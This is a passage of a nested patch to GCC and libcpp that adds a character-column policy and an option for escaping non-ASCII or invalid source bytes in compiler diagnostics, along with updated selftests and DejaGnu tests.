++source code (@code{true} for diagnostics involving source encoding issues).
++
+ @end table
+
+ @node Warning Options
+diff --git a/gcc/input.c b/gcc/input.c
+--- a/gcc/input.c 2021-07-27 23:55:07.328287915 -0700
++++ b/gcc/input.c 2021-12-14 01:16:01.553943061 -0800
+@@ -913,7 +913,8 @@ make_location (location_t caret, source_
+ source line in order to calculate the display width. If that cannot be done
+ for any reason, then returns the byte column as a fallback. */
+ int
+-location_compute_display_column (expanded_location exploc, int tabstop)
++location_compute_display_column (expanded_location exploc,
++ const cpp_char_column_policy &policy)
+ {
+ if (!(exploc.file && *exploc.file && exploc.line && exploc.column))
+ return exploc.column;
+@@ -921,7 +922,7 @@ location_compute_display_column (expande
+ /* If line is NULL, this function returns exploc.column which is the
+ desired fallback. */
+ return cpp_byte_column_to_display_column (line.get_buffer (), line.length (),
+- exploc.column, tabstop);
++ exploc.column, policy);
+ }
+
+ /* Dump statistics to stderr about the memory usage of the line_table
+@@ -3611,43 +3612,50 @@ test_line_offset_overflow ()
+ void test_cpp_utf8 ()
+ {
+ const int def_tabstop = 8;
++ cpp_char_column_policy policy (def_tabstop, cpp_wcwidth);
++
+ /* Verify that wcwidth of invalid UTF-8 or control bytes is 1. */
+ {
+- int w_bad = cpp_display_width ("\xf0!\x9f!\x98!\x82!", 8, def_tabstop);
++ int w_bad = cpp_display_width ("\xf0!\x9f!\x98!\x82!", 8, policy);
+ ASSERT_EQ (8, w_bad);
+- int w_ctrl = cpp_display_width ("\r\n\v\0\1", 5, def_tabstop);
++ int w_ctrl = cpp_display_width ("\r\n\v\0\1", 5, policy);
+ ASSERT_EQ (5, w_ctrl);
+ }
+
+ /* Verify that wcwidth of valid UTF-8 is as expected. */
+ {
+- const int w_pi = cpp_display_width ("\xcf\x80", 2, def_tabstop);
++ const int w_pi = cpp_display_width ("\xcf\x80", 2, policy);
+ ASSERT_EQ (1, w_pi);
+- const int w_emoji = cpp_display_width ("\xf0\x9f\x98\x82", 4, def_tabstop);
++ const int w_emoji = cpp_display_width ("\xf0\x9f\x98\x82", 4, policy);
+ ASSERT_EQ (2, w_emoji);
+ const int w_umlaut_precomposed = cpp_display_width ("\xc3\xbf", 2,
+- def_tabstop);
++ policy);
+ ASSERT_EQ (1, w_umlaut_precomposed);
+ const int w_umlaut_combining = cpp_display_width ("y\xcc\x88", 3,
+- def_tabstop);
++ policy);
+ ASSERT_EQ (1, w_umlaut_combining);
+- const int w_han = cpp_display_width ("\xe4\xb8\xba", 3, def_tabstop);
++ const int w_han = cpp_display_width ("\xe4\xb8\xba", 3, policy);
+ ASSERT_EQ (2, w_han);
+- const int w_ascii = cpp_display_width ("GCC", 3, def_tabstop);
++ const int w_ascii = cpp_display_width ("GCC", 3, policy);
+ ASSERT_EQ (3, w_ascii);
+ const int w_mixed = cpp_display_width ("\xcf\x80 = 3.14 \xf0\x9f\x98\x82"
+ "\x9f! \xe4\xb8\xba y\xcc\x88",
+- 24, def_tabstop);
++ 24, policy);
+ ASSERT_EQ (18, w_mixed);
+ }
+
+ /* Verify that display width properly expands tabs. */
+ {
+ const char *tstr = "\tabc\td";
+- ASSERT_EQ (6, cpp_display_width (tstr, 6, 1));
+- ASSERT_EQ (10, cpp_display_width (tstr, 6, 3));
+- ASSERT_EQ (17, cpp_display_width (tstr, 6, 8));
+- ASSERT_EQ (1, cpp_display_column_to_byte_column (tstr, 6, 7, 8));
++ ASSERT_EQ (6, cpp_display_width (tstr, 6,
++ cpp_char_column_policy (1, cpp_wcwidth)));
++ ASSERT_EQ (10, cpp_display_width (tstr, 6,
++ cpp_char_column_policy (3, cpp_wcwidth)));
++ ASSERT_EQ (17, cpp_display_width (tstr, 6,
++ cpp_char_column_policy (8, cpp_wcwidth)));
++ ASSERT_EQ (1,
++ cpp_display_column_to_byte_column
++ (tstr, 6, 7, cpp_char_column_policy (8, cpp_wcwidth)));
+ }
+
+ /* Verify that cpp_byte_column_to_display_column can go past the end,
+@@ -3660,13 +3668,13 @@ void test_cpp_utf8 ()
+ /* 111122223456
+ Byte columns. */
+
+- ASSERT_EQ (5, cpp_display_width (str, 6, def_tabstop));
++ ASSERT_EQ (5, cpp_display_width (str, 6, policy));
+ ASSERT_EQ (105,
+- cpp_byte_column_to_display_column (str, 6, 106, def_tabstop));
++ cpp_byte_column_to_display_column (str, 6, 106, policy));
+ ASSERT_EQ (10000,
+- cpp_byte_column_to_display_column (NULL, 0, 10000, def_tabstop));
++ cpp_byte_column_to_display_column (NULL, 0, 10000, policy));
+ ASSERT_EQ (0,
+- cpp_byte_column_to_display_column (NULL, 10000, 0, def_tabstop));
++ cpp_byte_column_to_display_column (NULL, 10000, 0, policy));
+ }
+
+ /* Verify that cpp_display_column_to_byte_column can go past the end,
+@@ -3680,25 +3688,25 @@ void test_cpp_utf8 ()
+ /* 000000000000000000000000000000000111111
+ 111122223333444456666777788889999012345
+ Byte columns. */
+- ASSERT_EQ (4, cpp_display_column_to_byte_column (str, 15, 2, def_tabstop));
++ ASSERT_EQ (4, cpp_display_column_to_byte_column (str, 15, 2, policy));
+ ASSERT_EQ (15,
+- cpp_display_column_to_byte_column (str, 15, 11, def_tabstop));
++ cpp_display_column_to_byte_column (str, 15, 11, policy));
+ ASSERT_EQ (115,
+- cpp_display_column_to_byte_column (str, 15, 111, def_tabstop));
++ cpp_display_column_to_byte_column (str, 15, 111, policy));
+ ASSERT_EQ (10000,
+- cpp_display_column_to_byte_column (NULL, 0, 10000, def_tabstop));
++ cpp_display_column_to_byte_column (NULL, 0, 10000, policy));
+ ASSERT_EQ (0,
+- cpp_display_column_to_byte_column (NULL, 10000, 0, def_tabstop));
++ cpp_display_column_to_byte_column (NULL, 10000, 0, policy));
+
+ /* Verify that we do not interrupt a UTF-8 sequence. */
+- ASSERT_EQ (4, cpp_display_column_to_byte_column (str, 15, 1, def_tabstop));
++ ASSERT_EQ (4, cpp_display_column_to_byte_column (str, 15, 1, policy));
+
+ for (int byte_col = 1; byte_col <= 15; ++byte_col)
+ {
+ const int disp_col
+- = cpp_byte_column_to_display_column (str, 15, byte_col, def_tabstop);
++ = cpp_byte_column_to_display_column (str, 15, byte_col, policy);
+ const int byte_col2
+- = cpp_display_column_to_byte_column (str, 15, disp_col, def_tabstop);
++ = cpp_display_column_to_byte_column (str, 15, disp_col, policy);
+
+ /* If we ask for the display column in the middle of a UTF-8
+ sequence, it will return the length of the partial sequence,
+diff --git a/gcc/input.h b/gcc/input.h
+--- a/gcc/input.h 2021-07-27 23:55:07.328287915 -0700
++++ b/gcc/input.h 2021-12-14 01:16:01.553943061 -0800
+@@ -39,8 +39,11 @@ STATIC_ASSERT (BUILTINS_LOCATION < RESER
+ extern bool is_location_from_builtin_token (location_t);
+ extern expanded_location expand_location (location_t);
+
+-extern int location_compute_display_column (expanded_location exploc,
+- int tabstop);
++class cpp_char_column_policy;
++
++extern int
++location_compute_display_column (expanded_location exploc,
++ const cpp_char_column_policy &policy);
+
+ /* A class capturing the bounds of a buffer, to allow for run-time
+ bounds-checking in a checked build. */
+diff --git a/gcc/opts.c b/gcc/opts.c
+--- a/gcc/opts.c 2021-07-27 23:55:07.364288417 -0700
++++ b/gcc/opts.c 2021-12-14 01:16:01.553943061 -0800
+@@ -2573,6 +2573,10 @@ common_handle_option (struct gcc_options
+ dc->column_origin = value;
+ break;
+
++ case OPT_fdiagnostics_escape_format_:
++ dc->escape_format = (enum diagnostics_escape_format)value;
++ break;
++
+ case OPT_fdiagnostics_show_cwe:
+ dc->show_cwe = value;
+ break;
+diff --git a/gcc/selftest.c b/gcc/selftest.c
+--- a/gcc/selftest.c 2021-07-27 23:55:07.500290315 -0700
++++ b/gcc/selftest.c 2021-12-14 01:16:01.557942991 -0800
+@@ -193,6 +193,21 @@ temp_source_file::temp_source_file (cons
+ fclose (out);
+ }
+
++/* As above, but with a size, to allow for NUL bytes in CONTENT. */
++
++temp_source_file::temp_source_file (const location &loc,
++ const char *suffix,
++ const char *content,
++ size_t sz)
++: named_temp_file (suffix)
++{
++ FILE *out = fopen (get_filename (), "w");
++ if (!out)
++ fail_formatted (loc, "unable to open tempfile: %s", get_filename ());
++ fwrite (content, sz, 1, out);
++ fclose (out);
++}
++
+ /* Avoid introducing locale-specific differences in the results
+ by hardcoding open_quote and close_quote. */
+
+diff --git a/gcc/selftest.h b/gcc/selftest.h
+--- a/gcc/selftest.h 2021-07-27 23:55:07.500290315 -0700
++++ b/gcc/selftest.h 2021-12-14 01:16:01.557942991 -0800
+@@ -112,6 +112,8 @@ class temp_source_file : public named_te
+ public:
+ temp_source_file (const location &loc, const char *suffix,
+ const char *content);
++ temp_source_file (const location &loc, const char *suffix,
++ const char *content, size_t sz);
+ };
+
+ /* RAII-style class for avoiding introducing locale-specific differences
+diff --git a/gcc/testsuite/c-c++-common/diagnostic-format-json-1.c b/gcc/testsuite/c-c++-common/diagnostic-format-json-1.c
+--- a/gcc/testsuite/c-c++-common/diagnostic-format-json-1.c 2021-07-27 23:55:07.596291654 -0700
++++ b/gcc/testsuite/c-c++-common/diagnostic-format-json-1.c 2021-12-14 01:16:01.557942991 -0800
+@@ -9,6 +9,7 @@
+
+ /* { dg-regexp "\"kind\": \"error\"" } */
+ /* { dg-regexp "\"column-origin\": 1" } */
++/* { dg-regexp "\"escape-source\": false" } */
+ /* { dg-regexp "\"message\": \"#error message\"" } */
+
+ /* { dg-regexp "\"caret\": \{" } */
+diff --git a/gcc/testsuite/c-c++-common/diagnostic-format-json-2.c b/gcc/testsuite/c-c++-common/diagnostic-format-json-2.c
+--- a/gcc/testsuite/c-c++-common/diagnostic-format-json-2.c 2021-07-27 23:55:07.596291654 -0700
++++ b/gcc/testsuite/c-c++-common/diagnostic-format-json-2.c 2021-12-14 01:16:01.557942991 -0800
+@@ -9,6 +9,7 @@
+
+ /* { dg-regexp "\"kind\": \"warning\"" } */
+ /* { dg-regexp "\"column-origin\": 1" } */
++/* { dg-regexp "\"escape-source\": false" } */
+ /* { dg-regexp "\"message\": \"#warning message\"" } */
+ /* { dg-regexp "\"option\": \"-Wcpp\"" } */
+ /* { dg-regexp "\"option_url\": \"https:\[^\n\r\"\]*#index-Wcpp\"" } */
+diff --git a/gcc/testsuite/c-c++-common/diagnostic-format-json-3.c b/gcc/testsuite/c-c++-common/diagnostic-format-json-3.c
+--- a/gcc/testsuite/c-c++-common/diagnostic-format-json-3.c 2021-07-27 23:55:07.596291654 -0700
++++ b/gcc/testsuite/c-c++-common/diagnostic-format-json-3.c 2021-12-14 01:16:01.557942991 -0800
+@@ -9,6 +9,7 @@
+
+ /* { dg-regexp "\"kind\": \"error\"" } */
+ /* { dg-regexp "\"column-origin\": 1" } */
++/* { dg-regexp "\"escape-source\": false" } */
+ /* { dg-regexp "\"message\": \"#warning message\"" } */
+ /* { dg-regexp "\"option\": \"-Werror=cpp\"" } */
+ /* { dg-regexp "\"option_url\": \"https:\[^\n\r\"\]*#index-Wcpp\"" } */
+diff --git a/gcc/testsuite/c-c++-common/diagnostic-format-json-4.c b/gcc/testsuite/c-c++-common/diagnostic-format-json-4.c
+--- a/gcc/testsuite/c-c++-common/diagnostic-format-json-4.c 2021-07-27 23:55:07.596291654 -0700
++++ b/gcc/testsuite/c-c++-common/diagnostic-format-json-4.c 2021-12-14 01:16:01.557942991 -0800
+@@ -19,6 +19,7 @@ int test (void)
+
+ /* { dg-regexp "\"kind\": \"note\"" } */
+ /* { dg-regexp "\"message\": \"...this statement, but the latter is misleadingly indented as if it were guarded by the 'if'\"" } */
++/* { dg-regexp "\"escape-source\": false" } */
+
+ /* { dg-regexp "\"caret\": \{" } */
+ /* { dg-regexp "\"file\": \"\[^\n\r\"\]*diagnostic-format-json-4.c\"" } */
+@@ -39,6 +40,7 @@ int test (void)
+ /* { dg-regexp "\"kind\": \"warning\"" } */
+ /* { dg-regexp "\"column-origin\": 1" } */
+ /* { dg-regexp "\"message\": \"this 'if' clause does not guard...\"" } */
++/* { dg-regexp "\"escape-source\": false" } */
+ /* { dg-regexp "\"option\": \"-Wmisleading-indentation\"" } */
+ /* { dg-regexp "\"option_url\": \"https:\[^\n\r\"\]*#index-Wmisleading-indentation\"" } */
+
+diff --git a/gcc/testsuite/c-c++-common/diagnostic-format-json-5.c b/gcc/testsuite/c-c++-common/diagnostic-format-json-5.c
+--- a/gcc/testsuite/c-c++-common/diagnostic-format-json-5.c 2021-07-27 23:55:07.596291654 -0700
++++ b/gcc/testsuite/c-c++-common/diagnostic-format-json-5.c 2021-12-14 01:16:01.557942991 -0800
+@@ -14,6 +14,7 @@ int test (struct s *ptr)
+
+ /* { dg-regexp "\"kind\": \"error\"" } */
+ /* { dg-regexp "\"column-origin\": 1" } */
++/* { dg-regexp "\"escape-source\": false" } */
+ /* { dg-regexp "\"message\": \".*\"" } */
+
+ /* Verify fix-it hints. */
+diff --git a/gcc/testsuite/gcc.dg/cpp/warn-normalized-4-bytes.c b/gcc/testsuite/gcc.dg/cpp/warn-normalized-4-bytes.c
+--- a/gcc/testsuite/gcc.dg/cpp/warn-normalized-4-bytes.c 1969-12-31 16:00:00.000000000 -0800
++++ b/gcc/testsuite/gcc.dg/cpp/warn-normalized-4-bytes.c 2021-12-14 01:16:01.557942991 -0800
+@@ -0,0 +1,21 @@
++// { dg-do preprocess }
++// { dg-options "-std=gnu99 -Werror=normalized=nfc -fdiagnostics-show-caret -fdiagnostics-escape-format=bytes" }
++/* { dg-message "some warnings being treated as errors" "" {target "*-*-*"} 0 } */
++
++/* འ= U+0F43 TIBETAN LETTER GHA, which has decomposition "0F42 0FB7" i.e.
++ U+0F42 TIBETAN LETTER GA: à½
++ U+0FB7 TIBETAN SUBJOINED LETTER HA: ྷ
++
++ The UTF-8 encoding of U+0F43 TIBETAN LETTER GHA is: E0 BD 83. */
++
++foo before_\u0F43_after bar // { dg-error "`before_.U00000f43_after' is not in NFC .-Werror=normalized=." }
++/* { dg-begin-multiline-output "" }
++ foo before_\u0F43_after bar
++ ^~~~~~~~~~~~~~~~~~~
++ { dg-end-multiline-output "" } */
++
++foo before_à½_after bar // { dg-error "`before_.U00000f43_after' is not in NFC .-Werror=normalized=." }
++/* { dg-begin-multiline-output "" }
++ foo before_<e0><bd><83>_after bar
++ ^~~~~~~~~~~~~~~~~~~~~~~~~
++ { dg-end-multiline-output "" } */
+diff --git a/gcc/testsuite/gcc.dg/cpp/warn-normalized-4-unicode.c b/gcc/testsuite/gcc.dg/cpp/warn-normalized-4-unicode.c
+--- a/gcc/testsuite/gcc.dg/cpp/warn-normalized-4-unicode.c 1969-12-31 16:00:00.000000000 -0800
++++ b/gcc/testsuite/gcc.dg/cpp/warn-normalized-4-unicode.c 2021-12-14 01:16:01.557942991 -0800
+@@ -0,0 +1,19 @@
++// { dg-do preprocess }
++// { dg-options "-std=gnu99 -Werror=normalized=nfc -fdiagnostics-show-caret -fdiagnostics-escape-format=unicode" }
++/* { dg-message "some warnings being treated as errors" "" {target "*-*-*"} 0 } */
++
++/* འ= U+0F43 TIBETAN LETTER GHA, which has decomposition "0F42 0FB7" i.e.
++ U+0F42 TIBETAN LETTER GA: à½
++ U+0FB7 TIBETAN SUBJOINED LETTER HA: ྷ */
++
++foo before_\u0F43_after bar // { dg-error "`before_.U00000f43_after' is not in NFC .-Werror=normalized=." }
++/* { dg-begin-multiline-output "" }
++ foo before_\u0F43_after bar
++ ^~~~~~~~~~~~~~~~~~~
++ { dg-end-multiline-output "" } */
++
++foo before_à½_after bar // { dg-error "`before_.U00000f43_after' is not in NFC .-Werror=normalized=." }
++/* { dg-begin-multiline-output "" }
++ foo before_<U+0F43>_after bar
++ ^~~~~~~~~~~~~~~~~~~~~
++ { dg-end-multiline-output "" } */
+diff --git a/gcc/testsuite/gfortran.dg/diagnostic-format-json-1.F90 b/gcc/testsuite/gfortran.dg/diagnostic-format-json-1.F90
+--- a/gcc/testsuite/gfortran.dg/diagnostic-format-json-1.F90 2021-07-27 23:55:08.472303878 -0700
++++ b/gcc/testsuite/gfortran.dg/diagnostic-format-json-1.F90 2021-12-14 01:16:01.557942991 -0800
+@@ -9,6 +9,7 @@
+
+ ! { dg-regexp "\"kind\": \"error\"" }
+ ! { dg-regexp "\"column-origin\": 1" }
++! { dg-regexp "\"escape-source\": false" }
+ ! { dg-regexp "\"message\": \"#error message\"" }
+
+ ! { dg-regexp "\"caret\": \{" }
+diff --git a/gcc/testsuite/gfortran.dg/diagnostic-format-json-2.F90 b/gcc/testsuite/gfortran.dg/diagnostic-format-json-2.F90
+--- a/gcc/testsuite/gfortran.dg/diagnostic-format-json-2.F90 2021-07-27 23:55:08.472303878 -0700
++++ b/gcc/testsuite/gfortran.dg/diagnostic-format-json-2.F90 2021-12-14 01:16:01.557942991 -0800
+@@ -9,6 +9,7 @@
+
+ ! { dg-regexp "\"kind\": \"warning\"" }
+ ! { dg-regexp "\"column-origin\": 1" }
++! { dg-regexp "\"escape-source\": false" }
+ ! { dg-regexp "\"message\": \"#warning message\"" }
+ ! { dg-regexp "\"option\": \"-Wcpp\"" }
+ ! { dg-regexp "\"option_url\": \"\[^\n\r\"\]*#index-Wcpp\"" }
+diff --git a/gcc/testsuite/gfortran.dg/diagnostic-format-json-3.F90 b/gcc/testsuite/gfortran.dg/diagnostic-format-json-3.F90
+--- a/gcc/testsuite/gfortran.dg/diagnostic-format-json-3.F90 2021-07-27 23:55:08.472303878 -0700
++++ b/gcc/testsuite/gfortran.dg/diagnostic-format-json-3.F90 2021-12-14 01:16:01.557942991 -0800
+@@ -9,6 +9,7 @@
+
+ ! { dg-regexp "\"kind\": \"error\"" }
+ ! { dg-regexp "\"column-origin\": 1" }
++! { dg-regexp "\"escape-source\": false" }
+ ! { dg-regexp "\"message\": \"#warning message\"" }
+ ! { dg-regexp "\"option\": \"-Werror=cpp\"" }
+ ! { dg-regexp "\"option_url\": \"\[^\n\r\"\]*#index-Wcpp\"" }
+diff --git a/libcpp/charset.c b/libcpp/charset.c
+--- a/libcpp/charset.c 2021-07-27 23:55:08.712307227 -0700
++++ b/libcpp/charset.c 2021-12-14 01:16:01.557942991 -0800
+@@ -1552,12 +1552,14 @@ convert_escape (cpp_reader *pfile, const
+ "unknown escape sequence: '\\%c'", (int) c);
+ else
+ {
++ encoding_rich_location rich_loc (pfile);
++
+ /* diagnostic.c does not support "%03o". When it does, this
+ code can use %03o directly in the diagnostic again. */
+ char buf[32];
+ sprintf(buf, "%03o", (int) c);
+- cpp_error (pfile, CPP_DL_PEDWARN,
+- "unknown escape sequence: '\\%s'", buf);
++ cpp_error_at (pfile, CPP_DL_PEDWARN, &rich_loc,
++ "unknown escape sequence: '\\%s'", buf);
+ }
+ }
+
+@@ -2280,14 +2282,16 @@ cpp_string_location_reader::get_next ()
+ }
+
+ cpp_display_width_computation::
+-cpp_display_width_computation (const char *data, int data_length, int tabstop) :
++cpp_display_width_computation (const char *data, int data_length,
++ const cpp_char_column_policy &policy) :
+ m_begin (data),
+ m_next (m_begin),
+ m_bytes_left (data_length),
+- m_tabstop (tabstop),
++ m_policy (policy),
+ m_display_cols (0)
+ {
+- gcc_assert (m_tabstop > 0);
++ gcc_assert (policy.m_tabstop > 0);
++ gcc_assert (policy.m_width_cb);
+ }
+
+
+@@ -2299,19 +2303,28 @@ cpp_display_width_computation (const cha
+ point to a valid UTF-8-encoded sequence, then it will be treated as a single
+ byte with display width 1. m_cur_display_col is the current display column,
+ relative to which tab stops should be expanded. Returns the display width of
+- the codepoint just processed. */
++ the codepoint just processed.
++ If OUT is non-NULL, it is populated. */
+
+ int
+-cpp_display_width_computation::process_next_codepoint ()
++cpp_display_width_computation::process_next_codepoint (cpp_decoded_char *out)
+ {
+ cppchar_t c;
+ int next_width;
+
++ if (out)
++ out->m_start_byte = m_next;
++
+ if (*m_next == '\t')
+ {
+ ++m_next;
+ --m_bytes_left;
+- next_width = m_tabstop - (m_display_cols % m_tabstop);
++ next_width = m_policy.m_tabstop - (m_display_cols % m_policy.m_tabstop);
++ if (out)
++ {
++ out->m_ch = '\t';
++ out->m_valid_ch = true;
++ }
+ }
+ else if (one_utf8_to_cppchar ((const uchar **) &m_next, &m_bytes_left, &c)
+ != 0)
+@@ -2321,14 +2334,24 @@ cpp_display_width_computation::process_n
+ of one. */
+ ++m_next;
+ --m_bytes_left;
+- next_width = 1;
++ next_width = m_policy.m_undecoded_byte_width;
++ if (out)
++ out->m_valid_ch = false;
+ }
+ else
+ {
+ /* one_utf8_to_cppchar() has updated m_next and m_bytes_left for us. */
+- next_width = cpp_wcwidth (c);
++ next_width = m_policy.m_width_cb (c);
++ if (out)
++ {
++ out->m_ch = c;
++ out->m_valid_ch = true;
++ }
+ }
+
++ if (out)
++ out->m_next_byte = m_next;
++
+ m_display_cols += next_width;
+ return next_width;
+ }
+@@ -2344,7 +2367,7 @@ cpp_display_width_computation::advance_d
+ const int start = m_display_cols;
+ const int target = start + n;
+ while (m_display_cols < target && !done ())
+- process_next_codepoint ();
++ process_next_codepoint (NULL);
+ return m_display_cols - start;
+ }
+
+@@ -2352,29 +2375,33 @@ cpp_display_width_computation::advance_d
+ how many display columns are occupied by the first COLUMN bytes. COLUMN
+ may exceed DATA_LENGTH, in which case the phantom bytes at the end are
+ treated as if they have display width 1. Tabs are expanded to the next tab
+- stop, relative to the start of DATA. */
++ stop, relative to the start of DATA, and non-printable-ASCII characters
++ will be escaped as per POLICY. */
+
+ int
+ cpp_byte_column_to_display_column (const char *data, int data_length,
+- int column, int tabstop)
++ int column,
++ const cpp_char_column_policy &policy)
+ {
+ const int offset = MAX (0, column - data_length);
+- cpp_display_width_computation dw (data, column - offset, tabstop);
++ cpp_display_width_computation dw (data, column - offset, policy);
+ while (!dw.done ())
+- dw.process_next_codepoint ();
++ dw.process_next_codepoint (NULL);
+ return dw.display_cols_processed () + offset;
+ }
+
+ /* For the string of length DATA_LENGTH bytes that begins at DATA, compute
+ the least number of bytes that will result in at least DISPLAY_COL display
+ columns. The return value may exceed DATA_LENGTH if the entire string does
+- not occupy enough display columns. */
++ not occupy enough display columns. Non-printable-ASCII characters
++ will be escaped as per POLICY. */
+
+ int
+ cpp_display_column_to_byte_column (const char *data, int data_length,
+- int display_col, int tabstop)
++ int display_col,
++ const cpp_char_column_policy &policy)
+ {
+- cpp_display_width_computation dw (data, data_length, tabstop);
++ cpp_display_width_computation dw (data, data_length, policy);
+ const int avail_display = dw.advance_display_cols (display_col);
+ return dw.bytes_processed () + MAX (0, display_col - avail_display);
+ }
+diff --git a/libcpp/errors.c b/libcpp/errors.c
+--- a/libcpp/errors.c 2021-07-27 23:55:08.712307227 -0700
++++ b/libcpp/errors.c 2021-12-14 01:16:01.557942991 -0800
+@@ -27,6 +27,31 @@ along with this program; see the file CO
+ #include "cpplib.h"
+ #include "internal.h"
+
++/* Get a location_t for the current location in PFILE,
++ generally that of the previously lexed token. */
++
++location_t
++cpp_diagnostic_get_current_location (cpp_reader *pfile)
++{
++ if (CPP_OPTION (pfile, traditional))
++ {
++ if (pfile->state.in_directive)
++ return pfile->directive_line;
++ else
++ return pfile->line_table->highest_line;
++ }
++ /* We don't want to refer to a token before the beginning of the
++ current run -- that is invalid. */
++ else if (pfile->cur_token == pfile->cur_run->base)
++ {
++ return 0;
++ }
++ else
++ {
++ return pfile->cur_token[-1].src_loc;
++ }
++}
++
+ /* Print a diagnostic at the given location. */
+
+ ATTRIBUTE_FPTR_PRINTF(5,0)
+@@ -52,25 +77,7 @@ cpp_diagnostic (cpp_reader * pfile, enum
+ enum cpp_warning_reason reason,
+ const char *msgid, va_list *ap)
+ {
+- location_t src_loc;
+-
+- if (CPP_OPTION (pfile, traditional))
+- {
+- if (pfile->state.in_directive)
+- src_loc = pfile->directive_line;
+- else
+- src_loc = pfile->line_table->highest_line;
+- }
+- /* We don't want to refer to a token before the beginning of the
+- current run -- that is invalid. */
+- else if (pfile->cur_token == pfile->cur_run->base)
+- {
+- src_loc = 0;
+- }
+- else
+- {
+- src_loc = pfile->cur_token[-1].src_loc;
+- }
++ location_t src_loc = cpp_diagnostic_get_current_location (pfile);
+ rich_location richloc (pfile->line_table, src_loc);
+ return cpp_diagnostic_at (pfile, level, reason, &richloc, msgid, ap);
+ }
+@@ -142,6 +149,43 @@ cpp_warning_syshdr (cpp_reader * pfile,
+
+ va_end (ap);
+ return ret;
++}
++
++/* As cpp_warning above, but use RICHLOC as the location of the diagnostic. */
++
++bool cpp_warning_at (cpp_reader *pfile, enum cpp_warning_reason reason,
++ rich_location *richloc, const char *msgid, ...)
++{
++ va_list ap;
++ bool ret;
++
++ va_start (ap, msgid);
++
++ ret = cpp_diagnostic_at (pfile, CPP_DL_WARNING, reason, richloc,
++ msgid, &ap);
++
++ va_end (ap);
++ return ret;
++
++}
++
++/* As cpp_pedwarning above, but use RICHLOC as the location of the
++ diagnostic. */
++
++bool
++cpp_pedwarning_at (cpp_reader * pfile, enum cpp_warning_reason reason,
++ rich_location *richloc, const char *msgid, ...)
++{
++ va_list ap;
++ bool ret;
++
++ va_start (ap, msgid);
++
++ ret = cpp_diagnostic_at (pfile, CPP_DL_PEDWARN, reason, richloc,
++ msgid, &ap);
++
++ va_end (ap);
++ return ret;
+ }
+
+ /* Print a diagnostic at a specific location. */
+diff --git a/libcpp/include/cpplib.h b/libcpp/include/cpplib.h
+--- a/libcpp/include/cpplib.h 2021-12-13 23:23:05.768437079 -0800
++++ b/libcpp/include/cpplib.h 2021-12-14 01:20:16.189507386 -0800
+@@ -1275,6 +1275,14 @@ extern bool cpp_warning_syshdr (cpp_read
+ const char *msgid, ...)
+ ATTRIBUTE_PRINTF_3;
+
++/* As their counterparts above, but use RICHLOC. */
++extern bool cpp_warning_at (cpp_reader *, enum cpp_warning_reason,
++ rich_location *richloc, const char *msgid, ...)
++ ATTRIBUTE_PRINTF_4;
++extern bool cpp_pedwarning_at (cpp_reader *, enum cpp_warning_reason,
++ rich_location *richloc, const char *msgid, ...)
++ ATTRIBUTE_PRINTF_4;
++
+ /* Output a diagnostic with "MSGID: " preceding the
+ error string of errno. No location is printed. */
+ extern bool cpp_errno (cpp_reader *, enum cpp_diagnostic_level,
+@@ -1435,42 +1443,95 @@ extern const char * cpp_get_userdef_suff
+
+ /* In charset.c */
+
++/* The result of attempting to decode a run of UTF-8 bytes. */
++
++struct cpp_decoded_char
++{
++ const char *m_start_byte;
++ const char *m_next_byte;
++
++ bool m_valid_ch;
++ cppchar_t m_ch;
++};
++
++/* Information for mapping between code points and display columns.
++
++ This is a tabstop value, along with a callback for getting the
++ widths of characters. Normally this callback is cpp_wcwidth, but we
++ support other schemes for escaping non-ASCII unicode as a series of
++ ASCII chars when printing the user's source code in diagnostic-show-locus.c
++
++ For example, consider:
++ - the Unicode character U+03C0 "GREEK SMALL LETTER PI" (UTF-8: 0xCF 0x80)
++ - the Unicode character U+1F642 "SLIGHTLY SMILING FACE"
++ (UTF-8: 0xF0 0x9F 0x99 0x82)
++ - the byte 0xBF (a stray trailing byte of a UTF-8 character)
++ Normally U+03C0 would occupy one display column, U+1F642
++ would occupy two display columns, and the stray byte would be
++ printed verbatim as one display column.
++
++ However when escaping them as unicode code points as "<U+03C0>"
++ and "<U+1F642>" they occupy 8 and 9 display columns respectively,
++ and when escaping them as bytes as "<CF><80>" and "<F0><9F><99><82>"
++ they occupy 8 and 16 display columns respectively. In both cases
++ the stray byte is escaped to <BF> as 4 display columns. */
++
++struct cpp_char_column_policy
++{
++ cpp_char_column_policy (int tabstop,
++ int (*width_cb) (cppchar_t c))
++ : m_tabstop (tabstop),
++ m_undecoded_byte_width (1),
++ m_width_cb (width_cb)
++ {}
++
++ int m_tabstop;
++ /* Width in display columns of a stray byte that isn't decodable
++ as UTF-8. */
++ int m_undecoded_byte_width;
++ int (*m_width_cb) (cppchar_t c);
++};
++
+ /* A class to manage the state while converting a UTF-8 sequence to cppchar_t
+ and computing the display width one character at a time. */
+ class cpp_display_width_computation {
+ public:
+ cpp_display_width_computation (const char *data, int data_length,
+- int tabstop);
++ const cpp_char_column_policy &policy);
+ const char *next_byte () const { return m_next; }
+ int bytes_processed () const { return m_next - m_begin; }
+ int bytes_left () const { return m_bytes_left; }
+ bool done () const { return !bytes_left (); }
+ int display_cols_processed () const { return m_display_cols; }
+
+- int process_next_codepoint ();
++ int process_next_codepoint (cpp_decoded_char *out);
+ int advance_display_cols (int n);
+
+ private:
+ const char *const m_begin;
+ const char *m_next;
+ size_t m_bytes_left;
+- const int m_tabstop;
++ const cpp_char_column_policy &m_policy;
+ int m_display_cols;
+ };
+
+ /* Convenience functions that are simple use cases for class
+ cpp_display_width_computation. Tab characters will be expanded to spaces
+- as determined by TABSTOP. */
++ as determined by POLICY.m_tabstop, and non-printable-ASCII characters
++ will be escaped as per POLICY. */
++
+ int cpp_byte_column_to_display_column (const char *data, int data_length,
+- int column, int tabstop);
++ int column,
++ const cpp_char_column_policy &policy);
+ inline int cpp_display_width (const char *data, int data_length,
+- int tabstop)
++ const cpp_char_column_policy &policy)
+ {
+ return cpp_byte_column_to_display_column (data, data_length, data_length,
+- tabstop);
++ policy);
+ }
+ int cpp_display_column_to_byte_column (const char *data, int data_length,
+- int display_col, int tabstop);
++ int display_col,
++ const cpp_char_column_policy &policy);
+ int cpp_wcwidth (cppchar_t c);
+
+ #endif /* ! LIBCPP_CPPLIB_H */
+diff --git a/libcpp/include/line-map.h b/libcpp/include/line-map.h
+--- a/libcpp/include/line-map.h 2021-07-27 23:55:08.716307283 -0700
++++ b/libcpp/include/line-map.h 2021-12-14 01:16:01.557942991 -0800
+@@ -1781,6 +1781,18 @@ class rich_location
+ const diagnostic_path *get_path () const { return m_path; }
+ void set_path (const diagnostic_path *path) { m_path = path; }
+
++ /* A flag for hinting that the diagnostic involves character encoding
